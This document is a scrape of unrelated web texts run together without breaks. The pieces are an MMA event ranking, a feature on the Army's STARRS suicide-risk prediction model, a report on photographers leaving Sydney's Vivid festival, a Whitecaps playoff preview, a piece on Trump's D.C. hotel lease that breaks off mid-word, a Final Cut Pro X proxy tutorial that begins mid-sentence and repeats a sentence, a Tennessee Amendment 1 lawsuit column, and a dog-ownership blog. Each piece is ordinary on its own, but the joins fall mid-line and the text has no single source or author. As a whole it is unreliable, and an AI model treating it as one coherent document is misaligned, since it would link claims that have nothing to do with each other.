4. UFC 166, Oct. 19, Houston. The fight cards listed up until this point all feature events which broke through to the mainstream, had moments which changed the course of the sport, and/or had historical significance. UFC 166, though, makes this list simply because it was one spectacular evening of fights. The opening two bouts had Kyoji Horiguchi and Andre Fili in outstanding UFC debut victories. The FS1 prelims featured a slugfest between Jessica Eye and Sarah Kaufmann (won by Eye via split decision), and Hector Lombard's brutal KO of Nate Marquardt in his welterweight debut. The main card delivered with smoking first-round knockouts by John Dodson and Gabriel Gonzaga; the Fight of the Year contender brawl between Gilbert Melendez and Diego Sanchez; and concluded with Cain Velasquez leaving no doubt in his trilogy fight with Junior dos Santos, finishing the game JDS in via fifth-round TKO.
5. invicta 5, Kansas City, April 5: A fight of the year contender in Michelle Waterson's sensational come-from-behind fourth-round submission win over Jessica Penne to win the atomweight title. The crowning of the first flyweight champ in Barb Honchak. A memorable slugfest in which Sarah Kaufmann decisioned Leslie Smith. The return of Cris Cyborg. And one of the submissions of the year in Rose Namajunas 12-second, flying armbar win over Kartina Cintron. If you missed Invicta 5, you missed one of the year's best events.
Honorable mentions: Bellator's debut card on Spike TV, Irvine, Calif., Jan. 17; UFC on FOX 7, San Jose, Calif. April 20; UFC Fight Night on FOX Sports 1 launch, Boston, Aug. 17; UFC 165, Toronto, Sept. 21.Jerry Evans Jr. fills out a suicide report every time he picks up the phone. “Everyone who calls the crisis line gets assessed. If they call trying to refill a prescription, because they just dialed the wrong number, they still get assessed,” he explained.
He’s a responder at the Veterans Crisis Line. It’s a hotline administered by the Department of Veterans Affairs that takes calls from veterans, active-duty soldiers and civilians who are seeking help for suicidal thoughts and behavior. Evans wants to know whether the person at risk has a plan and the necessary means to hurt himself — if he shows serious intent. “We find out if they have reasons for wanting to die. Then we try to find reasons for them to keep living,” Evans said.
In these tense conversations, responders like Evans try to comprehend the swirl of factors behind the caller’s state and to accurately gauge suicide risk. But Evans is still a responder — ideally, high-risk individuals would be identified before they feel the need to call the crisis line.
Doing that isn’t easy. There’s a long list of factors for suicide — marriage and financial problems, depression, alcohol and drug abuse, chronic pain, post-traumatic stress disorder (PTSD), etc. — and each person’s mix could be different. It’s the kind of task that might be better suited for computers, not humans. (Research has repeatedly shown that doctors are not accurate in predicting who is at risk of suicide.)
With the help of people, the computers are getting better at it. Researchers have created — and are still honing — a model to predict who might commit suicide. That model relies on sophisticated algorithms and a massive amount of data, and it’s blossoming at a surprising institution: the Army.
The Army is constructing a high-tech weapon to fight suicide because it’s losing the battle against it.
In 2012, more soldiers committed suicide than died while fighting in Afghanistan: 349 suicides compared to 295 combat deaths. That’s a symptom of a military suicide rate that has been on the rise since 2005, far outpacing the general population’s rate.
Every category of soldier has seen its suicide rate rise since 2003: those currently deployed, previously deployed and even the never-deployed. That last group’s change suggests that what’s behind the phenomenon isn’t merely more Army soldiers in combat, or the nature of that combat. Not even ending the wars in Iraq and Afghanistan could bring the numbers down.
In spring 2008, the then-secretary of the Army, Pete Geren, noticed the upward trend in soldier suicides and convened some experts to try to find an answer. But there was no easy solution — no single, identifiable fix. “I don’t think of suicide as a problem that has an answer,” said Michael Schoenbaum, who was part of the initial group and is a senior adviser for mental health services, epidemiology and economics at the National Institute of Mental Health (NIMH). Rather, it has many.
And so, in 2009, to help identify suicide’s myriad causes, the Army started the largest suicide study ever: the Study to Assess Risk and Resilience in Servicemembers (STARRS). Combining the resources of the Army with the research abilities of academics at several universities and the NIMH, the STARRS program is to run through June but will release its findings over many years after that. Its mission is to understand the shared characteristics of Army soldiers who commit suicide. From 2004 to 2009, the study tracked more than 1.6 million soldiers.
This endeavor is possible because the Army is so integrated into soldiers’ lives. As Ron Kessler, one of the principal researchers in the STARRS program, described the Army, “It’s the employer, the doctor, the judge and jury. No place else can you get all this data on one person but the military.”
Equipped with all this soldier-level data, the next challenge was how to make sense of it all.
That’s where the model comes in. The U.S. military has more than a million people scattered across the world. The vast majority have negligible suicide risk, so an intervention program can’t be efficient unless the military can winnow down the population to the high-risk individuals. The STARRS program needed to “build smaller haystacks with a higher concentration of needles,” Schoenbaum said.
STARRS researchers developed an algorithm to predict suicides in soldiers, as reported in an article published last month in JAMA Psychiatry. Specifically, the JAMA study tracked soldiers who were hospitalized for some sort of psychiatric disorder and then released. From 2004 to 2009, 53,769 hospital stays were examined, totaling more than 40,000 soldiers who represented nearly 1 percent of all soldiers in any given year.
Using sophisticated machine learning methods, the algorithm distilled more than 400 personal characteristics into a smaller set of factors that were consistently predictive of suicidal behavior. Among them: being male; having undergone psychiatric inpatient treatment; suffering from major depression; and attempting suicide before.
But the model also identified other Army-specific characteristics correlated with high suicide risk, including enlisting in the Army at age 27 or older, having nonviolent weapons offenses and scoring above the 50th percentile in the Armed Forces Qualification Test.
But researchers were cautious not to over-interpret any one variable. Many are correlated and no single one is enough to raise a red flag. The statistical model needs to be fed dozens of data points about an individual, otherwise it doesn’t provide any explanatory power.
Take “hearing loss,” for example, which is a variable associated with higher suicide risk. But hearing loss is also associated with traumatic brain injury.
The model’s predictive abilities were impressive. Those soldiers who were rated in the top 5 percent of risk were responsible for 52 percent of all suicides — they were the needles, and the Army was starting to find them. The table below shows the suicide rate for the U.S. as a whole, the military (all branches) and the Army. Also included is the suicide rate for the highest-risk groups as predicted by the model. The soldiers with the highest 5 percent of risk scores committed over half of all suicides in the period covered — at an extraordinary rate of about 3,824 suicides per 100,000 person-years.
Matthew Nock, a co-author of the JAMA article and a professor at Harvard University, sought to underplay the model, painting it as a marginal improvement. “I’m optimistic,” he said. “We’re getting denser and denser haystacks. But we still have further to go. We’re not going to wave the ‘Mission Accomplished’ flag and say we’ve done it.”
They’ll know they’ve done it when the model is being used to identify those at risk as their symptoms manifest. That’s when it moves from an academic study to a tool that helps authorities and advocates take action.
The specific actions can vary. Often, it’s just keeping patients connected to the care system. As Schoenbaum said, “Don’t just send them home. You schedule follow-up visits. If they have family members, you coordinate with them.”
Army clinicians say too many soldiers hospitalized for a psychiatric disorder will drift away after discharge and not return for care. “The visits often don’t happen. People just don’t follow directions,” Schoenbaum said.
An algorithm can help, but it can’t do everything. That’s where clinicians come in; they can tailor treatment regimens for people with suicidal tendencies. Right now, though, these conversations are happening without a predictive algorithm, if they’re happening at all.
“In a way we’re stating the obvious; that mental health problems are associated with suicide risk. That in and of itself is not news, but we’ve turned it into a quantitative algorithm,” Schoenbaum said.
Evans, the crisis line responder, is open to using data. But in the moment, he said, “we have to treat every call with what they’re saying right then, high risk or not.” Perhaps the mountains of data and fancy algorithms will not be capable of capturing the deeper, emotionally complex factors behind suicide.
When I asked Evans about the callers’ most common symptoms, he enumerated the risk factors cited in the literature — drug abuse, PTSD, depression. But then he paused and thought about it.
“Feelings of hopelessness and helplessness are the biggest things,” he said. “We get a lot of calls about loneliness.”Photographers withdraw from Vivid over censorship claims
Updated
Sorry, this video has expired Video: Photography withdrawn in censorship protest (7pm TV News NSW)
Two international photographers have withdrawn their works from an exhibition in Sydney in protest over what one has described as censorship.
The photographers' works are being displayed on a screen near the Museum of Contemporary Art as part of the annual Vivid festival.
But several photographers say they have been asked to restrict the use of some images.
They have told the ABC that Vivid organisers said several photos were considered inappropriate and should not be displayed.
Photographer Jodi Beiber is one of them.
Ms Beiber is known for her photo of an Afghan woman with her nose cut off, which featured on the cover of Time magazine.
She says one of her photos of a bare-breasted woman was removed from the exhibition and she has decided to withdraw her feature in protest.
"If I look at all the photographs that are not allowed to be shown, I feel that there's a huge censorship," she said.
How are your children going to be when they go out into the real world if they're not allowed to experience or see or make up their own mind about what happens in the world? Jodi Beiber
"I come from South Africa which is a country that's not perfect.
"But when you have such protection of a society, how are your children going to be when they go out into the real world, if they're not allowed to experience or see or make up their own mind about what happens in the world?"
Vivid organisers have rejected suggestions they have censored the photographic screening, arguing that some of the proposed images are not appropriate to be shown in a public place.
Vivid creative director Ignatius Jones says some of the photos, including those of dead children, are confronting.
"I would say to them to look at the laws and bylaws in New South Wales regarding what can be shown in a public precinct, a public park with fully unrestricted public access," he said.
All the photos are being shown at other indoor exhibits.
Reportage curator Stephen Dupont says he hopes most of the images will still get screened.
"I hope that we can work through that continuously with the support of the photographers of course," he said.
"I'm quite passionate and quite upset and angry about certain works that are appearing on the big screen."
Topics: photography, sydney-2000
First postedThe Vancouver Whitecaps, unable to secure first place in the MLS West, face the San Jose Earthquakes in a do-or-die match Wednesday at B.C. Place Stadium.
It was a pretty stark message from Vancouver Whitecaps’ striker Fredy Montero on Monday, the day after his MLS team lost in Portland to the rival Timbers: Wednesday night’s playoff home game against the San Jose Earthquakes is “kill or be killed.”
Dramatic, yes, but that is what it is.
For three weeks the Caps were in a position to lock up first place in the MLS’s Western Conference. All they needed was a win in their final three games. Instead they sandwiched a pair of losses, in New York to the Red Bulls and in Portland on Sunday, around a 1-1 draw to San Jose at B.C. Place Stadium.
Instead of a first-round bye, they head into the one-game playoff elimination at B.C. Place looking down the barrel of sudden death.
Montero, the team’s leading scorer who is nursing a calf injury that limited him to just over a half-hour of playing time in Portland but is expected to be good to go Wednesday, wasn’t alone in sensing the urgency of the situation.
“It’s do or die,” defender Tim Parker told reporters Monday. “Maybe we haven’t been doing our job as of late, but right now it’s put up or shut up really. For us we either have to really show up on Wednesday and show what we’re about, or we go home.”
The disappointment of the draw to San Jose on Oct. 15 is still fresh for the Caps. The elation of Yordy Reyna’s calm completion of a beautiful tic-tac-toe off perfect passes from Cristian Techera and Jake Nerwinski 29 minutes into the game held until Chris Wondlowski back-heeled the ball into the Caps’ box and Valeri Qazaishvili split the defence of Kendall Waston and Marcel de Jong to slip the equalizer past goalie Stefan Marinovic 77 minutes in.
The game plan against San Jose is a simple one: play better defence, especially against those two, and finish more scoring chances.
“We have something to prove against San Jose,” Marinovic said Monday. “We dropped the ball a little bit last week and we definitely want to make up for that.”
Head coach Carl Robinson wouldn’t tip his hand over who will play goal Wednesday — Marinovic, who’s started five games this season including the past two, or veteran David Ousted — but was all smiles Monday, confident his players would be unfazed by nerves and enjoy the spotlight that’s about to shine on them.
“We’ve come so far, so now the fun begins,” he said.
“You can’t be afraid of it, you’ve got to embrace it. You’ve got to enjoy it and it brings out the good players.”
At least that’s what he’s hoping.
mikebell@postmedia.com
NEXT GAME
Wednesday
San Jose Earthquakes vs. Vancouver Whitecaps
7:30 p.m., B.C. Place Stadium, TSN 1, TSN 1040 AM
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Is there more to this story? We’d like to hear from you about this or any other stories you think we should know about. Email vantips@postmedia.comDonald Trump's lease allowing him to make profits from Trump International Hotel in Washington, D.C. is now under investigation by two federal watchdog agencies.
Donald Trump’s sweetheart deal allowing him to profit from his D.C. hotel, in violation of the legal restrictions of the lease with the United States government, has attracted the attention of two federal watchdog agencies.
Those agencies are now conducting new investigations into the legal documents Trump signed for Trump International, which are currently responsible for millions flowing into his private accounts.
Democrats and watchdog groups have been warning that Trump is in violation of the law, and these investigations could prove that they were right all along.
The Government Accountability Office (GAO) and the General Services Administration (GSA) Office of Inspector General are looking at the lease Trump signed with GSA to operate his hotel on the federally owned site, which previously served as the headquarters of the U.S. Post Office.
A stipulation in the lease indicates that no elected officials can be a part of the lease or benefit from it. Many ethics experts have said that Trump has been in violation of the lease since he was sworn in as president on Jan. 20.
The hotel has emerged as an unexpected profit center for Trump since then. Initial projections had predicted an operating loss of $2.1 million during the first four months of 2017, but instead, the hotel has turned a $1.97 million profit for Trump and his family so far this year.
Meanwhile, Trump has refused to divest from his interest in the business, so any proceeds from guests staying there make money for him. Foreign interests, influence ped |
and an event labeled as today’s date.
Now that we have a library, we can start importing footage.
But first, it’s important to set our import preferences. Use the keyboard shortcut “⌘,” or Navigate to Final Cut Pro > Preferences to open the Preferences window.
In the Preferences window, click on the Import tab. Under the Files heading, we have two options:
Copy to library creates managed media. By default the media we import will be copied from its original location to be stored inside the selected FCP X library. I’d like to note that we can actually tell FCP X to copy our media to a location outside the library, but when we do this, FCP X reorganizes our media into its own folder structure, rather than maintaining the original file structure, which is not what we want.
Leave files in place creates external media, meaning that the imported media remains in its original location and is linked to the library with symlinks, rather than copied over to it.
We want to choose Leave files in place. The other Import setting we’re concerned with is under the Transcoding heading, where we have another two options: Create optimized media and Create proxy media.
We’re mostly concerned with the second, but there are situations where optimized media is useful, so let’s go over both.
Create optimized media: On import, transcode your original media to the ProRes 422 codec, allowing for better editing performance and faster render times. Because this option will maintain the same frame size as your original media, we don’t think of this as proxy media, but more as a direct intermediate. This option is most useful if you’re ingesting footage with a frame size that your computer can handle well, such as 2K or smaller, but in a codec that’s not edit-friendly, such a highly compressed.mp4. By creating optimized media, you can significantly improve editing performance and speed, while maintaining your original frame size. In many cases, these optimized media files will be high quality enough to serve as new master clips. Note that if your original camera media codec can be edited with good performance in FCP X, the create optimized media option is dimmed.
Create proxy media: On import, transcode your camera media to the lightweight ProRes 422 (Proxy) codec at one-half the original frame size, creating smaller files sizes for faster editing performance and portability. With this option checked, still images you import are transcoded to either JPEG (if the original file doesn’t have alpha channel information) or PNG files (if the file has alpha channel information). Note that the codec and frame size for proxy media can’t be customized.
Check the Create proxy media box and close the Preferences window.
Based on these selections, we know that when we import our camera media, it’ll stay in its original location and be linked to our library. We also know that we’ll be creating proxy media on import, but where does that go?
To find out, let’s take a look at our Library Properties. In the sidebar, select your library. Now open the inspector by using the keyboard shortcut “⌘4” or navigating to Window > Show in Workspace > Inspector.
At the top, the inspector lists the name of our library and underneath, what drive it’s stored on and how much space it’s occupying. Below that, we can see a summary of where our media and other files associated with our library are stored.
If we take a closer look at the Media section, we can see it lists that imported files, proxy and optimized files, and consolidated files are set to be stored In Library.
Don’t let this information confuse you – once we set our Import Preference to “leave files in place,” our camera media won’t be copied to the library, even though it doesn’t specify that here (I wish it did!). The important information is that our proxy files will be stored in the library.
Remember when I said we’d be using a combination of managed and external media? We’re going to keep our proxy files as managed media – meaning they’ll be stored inside the library.
Why? In a nutshell, FCP X has two serious limitations that when combined, form a perfect storm that can destroy its own proxy workflow.
First, while it has tons of options for moving and copying media, events, and projects, FCP X has no option to move or copy ONLY proxy media. The only way to move or copy proxy media from within FCP X is to move or copy the original camera media along with it – something we’d almost never want to do.
Second, FCP X has no option to relink offline proxy media. That means that if we try to circumvent the above issue by managing proxy media externally (outside of the library), and we copy that proxy media to a portable hard drive, FCP X will not be able to relink to the proxy media in its new location.
To keep things as simple as possible, while leaving as little room for error as we can, we keep our camera media as external and our proxy media as internal.
That way, we prevent proxy media from going irreparably offline by letting FCP X manage it inside the library, and we bypass copying over original camera media by managing it ourselves, outside the library.
To bring this all together, let’s import some media, create some proxies, and take a closer look.
Importing and Creating Proxies
In FCP X there are two ways to import media: through the Media Import window or by dragging and dropping into an event.
Importing Through the Media Import Window
Selecting an event and clicking the Import Media button or using the keyboard shortcut “⌘I” will bring up the Media Import window.
In addition to allowing you to navigate to your original media, you’ll notice that on the right-hand side, we have the same settings available in Import Preferences. These settings are all global, meaning that we can set them here or in Import Preferences and they’ll remain set in both places. Except for one.
The Media Import window has the ability to override the “Leave files in place” setting and for that reason, I don’t recommend using it.
When browsing files through the Media Import window, FCP X automatically detects file structures that resemble camera media, and when it finds this type of media, it greys out the “Leave files in place” option forces you to choose the “Copy to library.”
Why? FCP X thinks that you’re copying media from an actual camera memory card, so it forces you to copy that media over to the library to stop you from accidentally editing off of a memory card.
It’s true that you should never edit from removable media that will likely be ejected and erased. However, as I’ve mentioned several times, in a professional workflow it’s always best practice to leave the original camera media’s file structure intact, meaning that if you use the Media Import window, FCP X will always think you’re importing from a real camera card, regardless of whether you are or aren’t.
In future releases, let’s hope this feature changes to an overridable warning, rather than an unalterable default.
Drag and Drop Importing
Drap and drop importing bypasses the Media Import window’s memory card issue, allowing you to import your media and maintain all of the settings you’ve selected in Import Preferences.
For the most part, you can drag the highest level folder containing your clips right into your event and all of the media inside will import.
Be aware that you’ll usually get an Unsupported Files message, alerting you that some of the files within those folders won’t import, such as the camera’s metadata files. That’s fine, though. We don’t need those files in FCP X anyway.
As soon as you import media by dragging and dropping, FCP X gets to work creating your proxy files.
Background Processing and Monitoring Progress
FCP X creates proxies using background processing, meaning that you can keep working, labeling or even editing your clips, while the proxies generate in the background. As they finish, they’ll be automatically attached to your high res clips.
You can monitor the progress of all background tasks by using the keyboard shortcut “⌘9”, or navigating to Window > Background Tasks.
The Background Tasks window lists a variety of processes that may be happening behind the scenes. The first section, Transcoding and Analysis, is where you can see the progress of your proxy clips.
What if You’ve Already Imported Media?
If you’ve already begun editing or importing without having created proxies, don’t worry. You can also create them after import, right from the browser.
Before you do anything else, STOP and consider whether your original imported media is external or managed. If you want to take your proxies on the go, your imported media must be external.
Not sure? Select your library in the sidebar, right click it and select Reveal in Finder from the context menu.
This will take you to where your library file is stored on your hard drive. Right click the library file and select Show Package Contents.
Navigate to and open one of your event folders, and then open the Original Media folder. Are the media files inside symlinks? If so, then your media is external. If you have multiple events, it’s a good idea to run through them here and make sure all of their media is external.
If you don’t see symlinks, you have managed media and need to make it external before creating any proxies.
We can do this from within FCP X using the consolidate feature.
Consolidating to Create External Media
Consolidate allows us to gather all the media in the project and move it to a new location. We can use it to move our managed media to a folder outside the library, making it external.
It’s important to note that ALL media associated with your library will be copied to the new folder with this method. For example, if you’ve imported your camera media as managed, but have kept your music as external, the consolidate feature will copy both the camera media and music to the new location.
To consolidate, select your library in the sidebar and if it’s not already visible, open the inspector panel using the keyboard shortcut “⌘4” to bring up Library Properties.
Select the Modify Settings button next to Storage Locations.
Under the Media dropdown menu in the Storage Locations dialogue box, select Choose.
Navigate to where you’d like to store your external media, creating a new folder if necessary, and click Choose. Click OK to close the Modify Settings dialogue box.
Back in Library Preferences, click the Consolidate button under the Media heading.
In the dialogue box, you’ll have the option to include Optimized media, Proxy media, or both.
If you haven’t generated any media then you can leave these options checked, however if you have already generated proxy media, then uncheck the Proxy media box so it remains inside the library as managed media.
Once you click OK, FCP X will move all of your media outside of the library to the new location. If you reveal your library in the finder one more time, you can verify that your media now uses symlinks and is external.
Creating Proxies from the Browser
Before we create proxies for our clips, we need to change our storage locations one more time, so that the proxy clips end up inside the library as managed media.
In Library Preferences, select Modify Settings next to Storage Locations. Under the Media dropdown menu, select In Library and click ok.
Now, simply select the clips or whole events you want to create proxies for, right click, and choose Transcode Media from the context menu.
The Transcoding Media dialogue box opens, with the same two choices we explored when importing: Create optimized media or Create proxy media.
Check Create proxy media and click OK. FCP X will begin to generate proxies in the background, which you can monitor through the Background Tasks window.
Working with Proxies in the Project
Now that we’ve created our proxies, we have to set the viewer to display them instead of our original camera media.
Toggling Proxy Media
In the upper-right corner of the viewer, click the View dropdown menu, locate the MEDIA heading and select Proxy.
FCP X will automatically switch your project to view proxy media. It’s important to understand that ONLY proxy media will be displayed when Proxy is selected in the View menu.
That means any files that haven’t been transcoded to proxy media will display a Missing Proxy File icon.
Create Missing Proxies
If you see any Missing Proxy File icons, you can transcode the missing media in one of two ways:
Select the clip or clips in the event browser, identified by the Missing Proxy warning, right click, and choose Transcode Media from the context menu.
Select a clip with a missing proxy in the event browser and open the inspector by using the keyboard shortcut “⌘4”. In the inspector, navigate to the Info tab. Under the Available Media Representation heading, you’ll see that the Proxy media is missing, indicated by a red triangle (a green dot means the proxy is online). Click on the Generate Proxy button to create the missing proxy.
Exporting Your Project
When you’re ready to export your project for sharing or review, you’ll almost always want to switch back to Optimized/Original media in the viewer by clicking the View dropdown menu and selecting Optimized/Original under the Media heading.
By default, FCP X will export using whichever setting is active. For the highest quality export, always use Optimized/Original media. However, if you’d prefer to export a smaller, lower quality file for review, then exporting proxy media can be desireable as well, as it will usually be faster.
Deleting Proxy Media
When you’ve finished a project and don’t need the generated proxy media anymore, you can easily delete it from within FCP X.
Select the event or events you’d like to delete proxies for and navigate to File > Delete Generated Event Files.
Check Delete Proxy Media and choose any other options you’d like in the dialogue box. Click OK and FCP X will delete the proxy media.
Copying Proxy Media to a Portable Drive
Now that we have camera media in an external folder and proxy media managed in the library, moving just our proxies to a portable hard is simple. We can go about it into two different ways.
But first, take a moment to open your project and change the Viewer to display proxy media. If anything in your timeline is offline, create the missing proxy media now as detailed above.
If everything is online, you’re ready to copy.
Copying from Within FCP X
In the sidebar in FCP X, select all the events in your library. Navigate to File > Copy Events to Library and select New Library. In the Save dialogue box, navigate to your portable drive and create a folder if desired to house the library.
Name the new library carefully. You always want to be able to differentiate your current library from older versions.
Once you click Save, a dialogue box will pop up asking if you want to include Optimized or Proxy media. Make sure that Proxy media is checked, since we want to copy that over to our portable drive.
Notice that the information in the dialogue box tells us “Media stored in external folders will be left in place.” That means that while we can tell FCP X to copy our proxy media, it will leave our original camera files in place in their external location, which is exactly what we want.
Once you click OK, FCP X will copy the library and proxy media to your portable drive.
Copying from the Finder
We can also copy our proxy media through the finder. In the sidebar in FCP X, select your library, right click and choose Reveal in Finder from the context menu.
By now, we know that the revealed library file contains our proxy media and project metadata, but not our original camera media.
That means we can simply copy this library file over to our portable drive and all the proxy media will go along with it. We can then open it from our portable drive and get to work.
Don’t Forget to Copy External Assets
Whether you copy your library through FCP X or the finder, it’s important to remember to copy over any additional media you may need on the road that’s not managed within the library.
Depending on how you like to work and import media, this may include an external music, graphics or ADR folder.
Remember that when you move this type of media between drives and reopen your library, you’ll have to relink it through FCP X’s Relink Media window.
Open the Library from Your Portable Drive
Once your library is copied over to your portable drive, you can open it either by double clicking it in the Finder window or from within FCP X by navigating to File > Open Library > Other and then choosing the library file on your portable drive.
When the library opens, you may get a warning that some storage locations for the library are unavailable. You’ll see a caution triangle next to any locations that need to be addressed, but in most cases, it’s just Media. Choose In Library from the dropdown menu and click OK.
Don’t panic if your media shows up offline. Go to the View menu dropdown and make sure that Proxy is selected. Now your proxy media should be online.
Lastly, reconnect any external media, such as music or graphics files, using the File > Relink Files feature.
Keeping Track of Updated Library and/or Project Files
How you choose to manage your library and project files is up to you, but here a few suggestions:
If you copy your library between hard drives, append each copy with the date or a version number so you always know which is the most recent file.
If your library becomes large with proxy media, you don’t necessarily have to re-copy it every time you update your project. Instead, you can use FCP X’s Copy or Move Items feature to move new events between libraries, detailed here. Just remember that if you’ve added new media to your library, you’ll want to copy those over too including the proxy files when prompted within FCP X and manually copying the original camera files to your external camera media folder.
. Just remember that if you’ve added new media to your library, you’ll want to copy those over too including the proxy files when prompted within FCP X and manually copying the original camera files to your external camera media folder. There are third-party apps that help make syncing library, events, and projects easier. Which one to use really depends on your personal workflow, but two worth a mention are Sync Folders Pro and Final Cut Library Manager.
Other Workflow Ideas
If you want to explore more and like troubleshooting workflows, then I encourage you to test these ideas out (use with caution).
External Proxies
So far, I’ve made a clear case for keeping proxies as managed media within the FCP X Library. This is a sure-fire way to make sure that you always have the media you need and that nothing goes offline.
But sometimes for larger projects, your proxy media ends up being pretty big, which in turn makes copying your library file between drives a bit of a pain.
If you ONLY intend to use proxies on the same, single portable drive (or internally on your mac) and are certain you won’t need to copy them elsewhere, then using external proxies deserves a mention.
Before creating your proxies, modify the settings for your Storage Locations in the inspector panel to set an external folder for your media. Then create your proxies as normal.
Your library will look like something like this.
To work with proxies only, simply disconnect the drive with your original camera media and take the drive or computer with your proxy media with you.
The benefit to this workflow is that because ALL the media is stored externally, the library file itself is very small and can be copied, shared, and updated more quickly.
The downside is that if you move the file path of your external proxies or even rename the drive they’re located on, FCP X’s symlinks will break and the proxies will go offline with no option to reconnect then.
External Proxies with Symlinks
Here’s another intriguing workflow for dealing with larger proxy libraries that uses self-made symlinks, for those who want to experiment.
Essentially, you create the proxies as managed media and then manually move them outside the library as external media and create your own symlinks though the Finder.
One big drawback for this method is that FCP X separates each event into its own folder, which means if you’re working on a larger project with many events, this workaround becomes tedious to maintain.
Using Original Media to “Relink” Proxies
If you do find yourself in a situation where your proxies have gone offline and can’t be relinked, there is one last resort that generally yields success, but requires having access to both the proxy files AND the original media.
Make sure that all media, proxy and original, is available on the computer you’re working with. Select your library and in Library Properties, select the Modify Settings button for Storage Locations.
Set your Media storage location to where the existing proxies are. Depending on how you created them, the folder structure will differ, but generally, you want to point to the outermost folder that FCP X created.
Back in the browser, select the clips that need to be relinked to their proxies, right click and choose Transcode Media from the context menu. Choose Create proxy media in the dialogue box and click OK.
FCP X should then recognize that those proxies are already there and rather than re-transcode then, simply reconnect them.
Note: In general, this method seems to work, but some people have reported that FCP X duplicates certain proxy clips.
In-Camera and Third-Party Proxies
FCP X does not have the capacity to link original high resolution media to in-camera proxies or proxies created in other software, such as DaVinci Resolve.
You can, of course, import these proxies, edit your offline project and then relink back to the original media to create an online project. But there is no way to take advantage of FCP X’s fast switching between original and proxy media with this method.
Wrapping Up
And the more you understand about how FCP X works internally, the more you can adapt any given workflow to meet your needs. Using proxies in the most basic situation requires nothing more than checking one box, but if you want to become a proxy master, it’s worth putting in the time to really understand the various options. Like Premiere Pro’s proxy workflow, FCP X’s tools get the job done, combining your offline and online edits into one.
So create a library, import some media, and start playing around.
As always, feel free ask questions or give suggestions in the comments!Do some votes matter more than others?
Yes, and Tennessee's Secretary of State, who oversees the election process, did not follow how our constitution stipulates votes should be counted, according to a federal lawsuit filed Friday on behalf of eight Tennesseans challenging the results of the Amendment 1 ballot measure.
"Plaintiffs contend that Defendants (Gov. Bill Haslam, Secretary Tre Hargett, Attorney General Herbert Slatery and the seven members of the state Election Commission) violated their rights to due process and equal protection under the Fourteenth Amendment to the United States Constitution by not tabulating the votes on Amendment 1 in compliance with Article XI, Section 3 of the Tennessee Constitution."
This election was about constitutional power and language, and the lawsuit challenges the constitutionality of strategies encouraging voters to abstain from voting in the race for governor while casting a vote for Amendment 1, which gave free reign to Tennessee's legislature to regulate the how and where abortions could be provided.
According to the Secretary of State's website, 1,352,608 Tennesseans cast a ballot in the governor's race; 1,385,178, or 32,570 more, ballots were cast on Amendment 1. There were 12,463 voters on Amendment 2, another controversial amendment that changed appellate judges from elected to appointed positions, who did not vote in the governor's race. Amendments 3 and 4 both had fewer ballots cast than in the governor's race.
So what? Sour grapes? The people have voted, let it lie.
Regardless of your position on Amendment 1 or 2, we should welcome resolution in this suit. Either the words of our constitution matter, or the whole document is useless — which, after this election, I have come to question whether Tennesseans care much for the individual protections and liberties that were enshrined by the framers in the state's governing document.
At question is whether Article XI, Section 3 means what it seems to plainly say, or does it mean whatever the current Secretary of State and governor wish it to mean?
The second sentence of section 3 reads: "And if the people shall approve and ratify such amendment or amendments by a majority of all the citizens of the state voting for governor, voting in their favor, such amendment or amendments shall become a part of this Constitution."
Seems to say that for a change to be made in our constitution you have to first check that a voter cast a ballot in the governor's race before you count whether a majority of those voters approve of the change, and then that majority must be greater than 50 percent of the ballots cast in the governor's race.
Though somewhat complicated, it does seem straightforward.
Blake Fontenay, director of communications for the Secretary of State, told me on Oct. 30 that, to his knowledge, Tennessee had never interpreted Article XI, Section 3 to mean that only voters who cast a ballot in the governor's race were eligible to vote on constitutional amendments.
The plaintiffs all cast votes in the governor's race and against Amendment 1, according to the Friday filing. Suing to overturn the results are: Tracey E. George, Nashville, a professor of law and of political science at Vanderbilt University; Ellen Wright Clayton, Nashville, a professor of pediatrics and of law at Vanderbilt; Deborah Webster-Clair, Brentwood, an obstetrician and gynecologist; Kenneth T. Whalum Jr., Memphis, pastor of the New Olivet Baptist Church; Meryl Rice, Whiteville, a social worker and small business owner; Jan Liffis, Nashville, a registered nurse; Teresa M. Halloran, Franklin, the volunteer coordinator for Meals on Wheels; and Mary Howard Hayes, Gallatin, former Director of the Public Health Department of Sumner County.
Representing the plaintiffs before the 6th Circuit Court is Nashville attorney Bill Harbison, who is also the president-elect of the Tennessee Bar Association.
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"These votes are not counted properly," Harbison said Saturday, "which diminished those who voted no and was a clear violation of their 14th Amendment rights."
John Jay Hooker said Saturday that he expected federal and state challenges on behalf of voters against Amendment 2, which passed by a broader margin that Amendment 1, would be filed this week.
It will be interesting to discover if words mean what ordinary people think they mean.
Reach Frank Daniels III: 615-881-7039, or on Twitter @fdanielsiii
Read or Share this story: http://tnne.ws/1qyLavvHi there,
Thanks for visiting my new blog page.. It has been a long time coming really but I have eventually got round to posting my first blog.
So I thought I would write a piece about the first 18 months of Benji’s life and the ups and downs which all add up to the rollercoaster ride that is bringing a border collie into the family home.
Back in November 2014 myself and my partner decided we would like to bring a dog into the family to join our pet cat, Fred. We researched a number of different dog breeds, but after reading up a lot about Border Collies we decided we had to get a Border Collie puppy. We felt that as we are such an active family it would be perfect for us to get a dog that enjoys spending time walking with us around the country. Researching the behaviour traits of Border Collies we understood the amount of work, time and effort that would be required in order for Benji to be most importantly happy in his new home. With us considering getting a working dog we also realised there would be a lot of work ahead relating to our pet Cat, Fred with the probability of the herding instinct coming in to play.
So I will move to the first night Benji arrived home from the farm. I am waiting patiently at home for a lovely puppy to arrive. What arrived was a tornado, a whirlwind of chaos and not what I was expecting at 12 weeks. He was huge and full of enormous excitement. As it was 11pm my excitement was somewhat on a low reading considering Benji arrived covered in his own poo and vomit. The casualty of his first trip in a car..
The following morning Benji was introduced to our Cat, Fred. This was a spectacle, Fred looking at the dog and then ourselves with surely an expression of “what the heck have you brought into the house”. For the next 6 months we worked extremely hard trying to get the animals to accept each other and accept that they both lived in the house. Initially the herding instinct wouldn’t allow Benji to let Fred move around the house but towards the end of the first 6 months and by Benji’s first birthday this behaviour was becoming a rarity. Benji was beginning to accept Fred as part of the family.
